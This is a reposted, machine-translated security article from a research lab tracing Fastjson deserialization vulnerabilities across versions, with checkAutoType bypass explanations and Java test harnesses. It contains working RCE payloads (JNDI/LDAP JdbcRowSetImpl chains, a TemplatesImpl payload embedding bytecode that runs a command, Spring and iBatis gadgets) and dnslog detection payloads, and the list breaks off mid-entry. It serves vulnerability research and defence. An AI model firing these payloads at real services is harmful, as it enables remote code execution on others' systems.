Fastjson Deserialization Vulnerability History

Posted by slava_php on Tue, 12 May 2020 19:05:20 +0200

Author: Longofo@knows Chuangyu 404 Laboratory
Time: April 27, 2020
Original address: https://paper.seebug.org/1192/
English version: https://paper.seebug.org/1193/

Fastjson doesn't have a cve number, it's not very good to look for a timeline, and it doesn't know how to write at first, but it slowly writes something out. Fortunately, fastjson is open source and has the hard work of its mentors.Key updates related to Fastjson vulnerabilities and vulnerability timelines will be given. Testing and repairing some of the more classic vulnerabilities will be described, and some detection payload, rce payload will be given.

Fastjson Parsing Process

You can refer to what Master Lucifaer wrote fastjson process analysis If you don't write here, it will take up a lot of space to write more.It is mentioned that fastjson has byte codes generated using ASM. Since many classes are not native in practice, most classes are serialized/deserialized using ASM. If you are curious about viewing the generated byte codes, you can save the byte file while idea is debugging dynamically:


The code inserted is:

BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
    File dir = new File(filePath);
    if (!dir.exists()) {
        dir.mkdirs();
    }
    file = new File(filePath + className + ".class");
    fos = new FileOutputStream(file);
    bos = new BufferedOutputStream(fos);
    bos.write(code);
} catch (Exception e) {
    e.printStackTrace();
} finally {
    if (bos != null) {
        try {
            bos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    if (fos != null) {
        try {
            fos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Generated classes:

However, this class cannot be used for debugging because ASM-generated code in fastjson does not have linenumber, trace, and other information for debugging, so it cannot be debugged.However, by rewriting some code in the Expression window, it should also be possible to generate bytecodes that can be used for debugging (I have no tests, and if you have time and interest, see how ASM generates bytecodes that can be used for debugging).

Fastjson sample test

First test the following example with multiple versions:

//User.java
package com.longofo.test;

public class User {
    private String name; //Private properties, getter, setter methods
    private int age; //Private properties, getter, setter methods
    private boolean flag; //Private property, is, setter methods
    public String sex; //Public property, no getter, setter methods
    private String address; //Private property, no getter, setter methods

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }
}
package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test1 {
    public static void main(String[] args) {
        //serialize
        String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //Deserialized by the parse method, returning a JSONObject]
        System.out.println("JSON.parse(serializedStr): ");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse Deserialize object names:" + obj1.getClass().getName());
        System.out.println("parse Deserialization:" + obj1);
        System.out.println("-----------------------------------------------\n");

        //With parseObject, no class is specified, and a JSONObject is returned
        System.out.println("JSON.parseObject(serializedStr): ");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject Deserialize object names:" + obj2.getClass().getName());
        System.out.println("parseObject Deserialize:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //Specify as object.class through parseObject
        System.out.println("JSON.parseObject(serializedStr, Object.class): ");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject Deserialize object names:" + obj3.getClass().getName());
        System.out.println("parseObject Deserialize:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //Specify as User.class through parseObject
        System.out.println("JSON.parseObject(serializedStr, User.class): ");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject Deserialize object names:" + obj4.getClass().getName());
        System.out.println("parseObject Deserialize:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }
}

Explain:

Here, @type is the common autotype function, simply understood as fastjson automatically maps json's key:value value value to the corresponding class of @type
Several methods of the sample User class are relatively common, and the naming and return values are also common bean-compliant writings, so some special calls in the following sample tests will not be overwritten, but in vulnerability analysis, you can see some special cases
parse uses four types of writing, all of which can be harmful (but whether it can actually be used depends on whether the version and the user have turned on certain configuration switches, looking back)
Sample tests use jdk8u102, and the code is a pull-down source test. It mainly uses examples to illustrate the default opening of autotype, the appearance of checkautotype, and the process and enhancements of which version the black-and-white name list appears from.

1.1.157 Test

This should be the original version (tag was the first one), and the result:

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------

JSON.parse(serializedStr): 
call User default Constructor
call User setName
call User setAge
call User setFlag
parse Deserialize object names:com.longofo.test.User
parse Deserialization: User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr): 
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject Deserialize object names:com.alibaba.fastjson.JSONObject
parseObject Deserialize:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class): 
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject Deserialize object names:com.longofo.test.User
parseObject Deserialize:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class): 
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject Deserialize object names:com.longofo.test.User
parseObject Deserialize:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

Here is a brief description of each result

JSON.parse(serializedStr)

JSON.parse(serializedStr): 
call User default Constructor
call User setName
call User setAge
call User setFlag
parse Deserialize object names:com.longofo.test.User
parse Deserialization: User{name='lala', age=11, flag=true, sex='boy', address='null'}

When @type is specified, the User class default constructor is automatically invoked, and the setter method (setAge, setName) corresponding to the User class is set. The end result is an instance of the User class, but it is worth noting that the public sex is successfully assigned, and the private address are not.1.2.22,1.1.54.androidAfter that, a SupportNonPublicField feature was added, and if used, private address can be successfully assigned without setters or getter s, which is related to a later vulnerability.Notice the order in which default constructors and setter methods are invoked. Before the default constructor, attribute values have not been assigned. So even though there are dangerous methods in the default constructor, the dangerous values have not been passed in, so the default constructor is not supposed to be a vulnerability-exploiting method, but for internal classes, external classes initialize some of their own attribute values first.However, the internal class default constructor uses some values of the parent class's attributes, which can still be harmful.

As you can see, autotype functionality has been available since the original version, and autotype is turned on by default.There is also no blacklist in the ParserConfig class.

JSON.parseObject(serializedStr)

JSON.parseObject(serializedStr): 
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject Deserialize object names:com.alibaba.fastjson.JSONObject
parseObject Deserialize:{"flag":true,"sex":"boy","name":"lala","age":11}

When @type is specified, the User class default constructor is automatically called, the setter method (setAge, setName) corresponding to the User class, and the corresponding getter method (getAge, getName) corresponding to the User class. The end result is a string.The getter (note that bool type starts with is) method is also called here because parseObject calls it when there are no other parameters JSON.toJSON(obj), then obj attribute values are obtained through the gettter method:

JSON.parseObject(serializedStr, Object.class)

JSON.parseObject(serializedStr, Object.class): 
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject Deserialize object names:com.longofo.test.User
parseObject Deserialize:User{name='lala', age=11, flag=true, sex='boy', address='null'}

With @type specified, this is the firstJSON.parseThere is no difference in the (serializedStr) notation, as you can see from the results.

JSON.parseObject(serializedStr, User.class)

JSON.parseObject(serializedStr, User.class): 
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject Deserialize object names:com.longofo.test.User
parseObject Deserialize:User{name='lala', age=11, flag=true, sex='boy', address='null'}

When @type is specified, the User class default constructor is automatically invoked, and the setter method (setAge, setName) corresponding to the User class is invoked, resulting in an instance of the User class.This notation explicitly specifies that the target object must be of type User, and if the type corresponding to @type is not of type User or its subclasses, a mismatch exception will be thrown, but even if a specific type is specified, there is still a way to trigger a vulnerability before the type matches.

1.2.10 Test

For the User class above, the test results are the same as 1.1.157, which is not written here.

autotype is still turned on by default in this version.Starting with this version, however, fastjson added a denyList to ParserConfig until version 1.2.24, which has only one class (though this java.lang.Thread is not intended for vulnerability exploitation):

1.2.25 Test

The test result throws an exception:

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------

JSON.parse(serializedStr): 
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
    at com.alibaba.fastjson.JSON.parse(JSON.java:137)
    at com.alibaba.fastjson.JSON.parse(JSON.java:128)
    at com.longofo.test.Test1.main(Test1.java:14)

Since 1.2.25, autotype has been turned off by default, and for autotype on, vulnerability analysis will cover later.Beginning with 1.2.25, the checkAutoType function was added to detect whether the classes specified by @type are whitelist or blacklist (using the startswith method)

And whether the target class is a subclass or subinterface of two dangerous classes (Classloader, DataSource). The whitelist has the highest priority. If the whitelist allows, the blacklist and dangerous classes will not be detected, otherwise the blacklist and dangerous classes will continue to be detected:

Increase the number of blacklist classes, packages and whitelist. Users can also call related methods to add blacklist/whitelist to the list:

Many of the latter bugs are bug fixes caused by checkAutotype and some of its own logic flaws, as well as the growing blacklist.

1.2.42 Test

As with 1.2.25, autotype is not turned on by default, so as a result, throw the autotype directly without opening an exception.

Beginning with this version, security research is more difficult by replacing denyList, acceptList with decimal hashcode (although hashcode calculation method is still public, if you have a large number of jar packages, such as maven repository can crawl jar packages, you can run class names and package names in batches, but in case the blacklist is the package name, you will also find specific available classesTake some time:

Detection in checkAutotype has also been modified:

1.2.61test

and1.2.25Similarly, autotype is not turned on by default, so as a result, throw the autotype without opening an exception.

from1.2.25reach1.2.61There have been many increases in bypassing and blacklisting in the past, but this part is written later in the vulnerability version line, here1.2.61Version is mainly about blacklist defense.stay1.2.61At version 1, fastjson replaces hashcode with hexadecimal:

However, the hexadecimal representation is the same as the decimal representation, and jar packages can also be run in bulk.stay1.2.62Versions are capitalized in hexadecimal for uniformity:

Later versions have added blacklists

Fastjson Vulnerability Version Line

The following vulnerabilities are not too much to analyze, they are too many, they are just a simple description and give payload to test and explain how to fix them.

ver<=1.2.24

As you can see from the above tests,1.2.24There was no defense before and autotype was turned on by default. Here are a few payload s that would be classic.

Com.sun.rowset.JdbcRowSetImplUtilization Chain

payload:

{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

Test (jdk=8u102, fastjson=1.2.24):

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test2 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
//        JSON.parse(payload); success
        //JSON.parseObject(payload); success
        //JSON.parseObject(payload,Object.class; success
        //JSON.parseObject(payload,User.class); Success, instead of using @type directly on the outside, with a format like rand:{} successfully triggered before type matching, as you can see in an xray articleHttps://zhuanlan.zhihu.com/p/99075925So later payloads use this pattern
    }
}

Result:

Trigger Reason Analysis:

JdbcRowSetImpl Object Recovery->setDataSourceName Method Call->setAutocommit Method Call->Context.lookup(datasourceName) call

Com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplUtilization Chain

payload:

{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

Test (jdk=8u102, fastjson=1.2.24):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class Test3 {
    public static void main(String[] args) throws Exception {
        String evilCode_base64 = readClass();
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{'rand1':{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'aaa'," +
                "'_tfactory':{}," +
                "'_outputProperties':{}" +
                "}}\n";
        System.out.println(payload);
        //JSON.parse(payload, Feature.SupportNonPublicField); successful
        //JSON.parseObject(payload, Feature.SupportNonPublicField); successful
        //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); successful
        //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); successful
    }

    public static class AaAa {

    }

    public static String readClass() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(AaAa.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "AaAa" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        byte[] evilCode = cc.toBytecode();

        return Base64.encodeBase64String(evilCode);

    }
}

Result:

Trigger Reason Analysis:

TemplatesImpl object recovery->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->Through defineTransletClasses, newInstance triggers the static code block of the class we constructed ourselves

Simple description:

This vulnerability requires the SupportNonPublicField feature to be turned on, as mentioned in the sample test.Since there is no setter for _bytecodes, _tfactory, _name, _outputProperties, _class in the TemplatesImpl class, the SupportNonPublicField attribute needs to be turned on to assign values to these private s.This poc construction process is not analyzed here. You can see Master Liao's article, which involves some details.

ver>=1.2.25&ver<=1.2.41

There was no restriction on autotype before 1.2.24. Since 1.2.25, autotype support has been turned off by default, checkAutotype has been added, blacklist + whitelist has been added to protect autotype from opening.A checkAutotype bypass occurred between 1.2.25 and 1.2.41.

Here is the checkAutoType code:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        // Location 1, open autoTypeSupport, whitelist first, blacklist
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        // Position 2, get clazz from an existing map
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        // Location 3, autoTypeSupport is not turned on, still black and white list detection, first black list, then white list
        if (!autoTypeSupport) {
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

        // Location 4, after the black and white list, autoTypeSupport opens, and the target class is loaded
        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        if (clazz != null) {
            // ClassLoader, DataSource subclass/subinterface detection
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

Four position markers are made above, as the next few bypasses are also related to these locations.This bypass passes the previous 1,2,3 and successfully enters location 4 to load the target class.Location 4 loadclass is as follows:

L and before and after className are removed; as in Lcom.lang.Thread; This representation is similar to that of classes in the JVM, which fastjson handles.Previous blacklist detection was all startswith, so L and sums can be added to the classes specified by @type to bypass blacklist detection.

Here you use the chain with the JdbcRowSetImpl above:

{
  "rand1": {
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

Test (jdk8u102, fastjson)1.2.41):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test4 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //JSON.parse(payload); success
        //JSON.parseObject(payload); success
        //JSON.parseObject(payload,Object.class; success
        //JSON.parseObject(payload,User.class; success
    }
}

Result:

ver=1.2.42

stay1.2.42Yes1.2.25~1.2.41The checkAutotype bypass was fixed, the blacklist was changed to decimal, and the checkAutotype detection was changed accordingly:


The blacklist was changed to decimal, and the detection was hash-processed accordingly.But above1.2.25The detection process in is consistent, except that startswith is replaced by hash operation.about1.2.25~1.2.41The check Autotype of the checkAutotype bypasses the fix, which is the red box, to determine if the className is L and, if so, to intercept the second and last characters.therefore1.2.42Version checkAutotype bypasses double-write LL and; after interception, the process becomes1.2.25~1.2.41Versions are used the same way.

Use the chain with the JdbcRowSetImpl above:

{
  "rand1": {
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

Test (jdk8u102, fastjson)1.2.42):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test5 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //JSON.parse(payload); success
        //JSON.parseObject(payload); success
        //JSON.parseObject(payload,Object.class; success
        //JSON.parseObject(payload,User.class; success
    }
}

Result:

ver=1.2.43

1.2.43about1.2.42Bypass Repair for:

Under the first if condition (starting with L; ending with LL), a condition starting with LL is added, and if the first condition is satisfied and starting with LL, an exception is thrown directly.So this fix can't be bypassed.But the loadclass es above, in addition to L and; were specially handled [also specially handled, bypassing checkAutoType again:

Use the chain with the JdbcRowSetImpl above:

{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
Test (jdk8u102, fastjson)1.2.43):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test6 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//        JSON.parse(payload); success
        //JSON.parseObject(payload); success
        //JSON.parseObject(payload,Object.class; success
        JSON.parseObject(payload, User.class);
    }
}

Result:

ver=1.2.44

Version 1.2.44 fixes 1.2.43 bypass and handles [:

Deleted the previous L start,; End, LL start judgment, changed to [throw an exception at the beginning,; throw an exception at the end, so the previous bypass has been fixed.

ver&gt;=1.2.45&ver&lt;1.2.46
During these two versions, blacklists were added and checkAutotype bypass did not occur.There are several payloads on the blacklist that are given by RCE Payload at the end, which is not written here

ver=1.2.47

This version has a successful bypass without autotype enabled.Parse this bypass:

With java.lang.class, this class is not blacklisted, so checkAutotype can pass
The deserializer corresponding to this java.lang.class class is MiscCodec. deserialize takes the value from the json string and load s the corresponding class of the value. If fastjson cache is true, the corresponding class of the value is cached into the global map
If the class with the val name is loaded again and autotype is not turned on (because it detects the black and white list first, this bug is turned on but not successful), the next step is to try to get the class from the global map, and if it is, return directly
There are already a lot of vulnerability analyses available, so you can refer to them for more details. This

payload:

{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Object", 
        "autoCommit": true
    }
}

Test (jdk8u102, fastjson 1.2.47):

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test7 {
    public static void main(String[] args) {
        String payload = "{\n" +
                "    \"rand1\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    }, \n" +
                "    \"rand2\": {\n" +
                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
                "        \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
                "        \"autoCommit\": true\n" +
                "    }\n" +
                "}";
        //JSON.parse(payload); successful
        //JSON.parseObject(payload); successful
        //JSON.parseObject(payload,Object.class); successful
        JSON.parseObject(payload, User.class);
    }
}

Result:

ver>=1.2.48&ver<=1.2.68

Fixed 1.2.47 bypass at 1.2.48, and set cache to false where the Class class is handled in MoscCodec:

Between 1.2.48 and the latest version 1.2.68, blacklist classes are added.

ver=1.2.68

1.2.68 is the latest version. Safemode was introduced in 1.2.68. When safemode is turned on, @type is a special key that is completely useless. autoType is no longer supported on whitelists or blacklists.

In this version, in addition to adding a blacklist, a blacklist is also removed:

This reduced blacklist, I don't know if a master has run out or not, whether it's a package name or a class name, and then it can be used for malicious use, it's a little strange anyway.

Detect Fastjson

The more common way to detect Fastjson is by using dnslog, and then by using RCE Payload to hit one by one.My colleague said it would be a bit difficult to get a playback scanner scan that can echo, but if the target container/frame is different, the echo mode will be different too. Let's use dnslog instead.

dnslog detection

Currently, the dnslog method is the most common method for fastjson detection, in which Inet4Address, Inet6Address are available up to 1.2.67.Here are some of the payload s you see (combined with rand:{} above, which is more general):

{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}

{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}

{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}

{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}

{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}

Some malformed payload s can still trigger dnslog:
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}

{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}

{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}

{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0

Some RCE Payload

No payload has been collected for fastjson before, no jar packages have been run.... Here is a list of payloads that are streaming across the network and some deducted from marshalsec and transformed into payloads for fastjson. Every payload is tested and written for jdk and fastjson versions, and it doesn't know how much time it will take to test them. Actually, you can hardly know the version with the help of marshalsec., autotype is open, users configure, users set their own blacklist/whitelist is not, so the construction of Payload one by one in the past, basic payload:

payload1:
{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

payload2:
{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

payload3:
{
  "rand1": {
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://localhost:1389/Object"
    }
  }
}

payload4:
{
  "rand1": {
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://localhost:1389/Object",
    "propertyPath": "foo",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/Object"
      ]
    }
  }
}

payload5:
{
  "rand1": Set[
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/obj"
      ]
    },
    "adviceBeanName": "ldap://localhost:1389/obj"
  },
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
  }
]}

payload6:
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
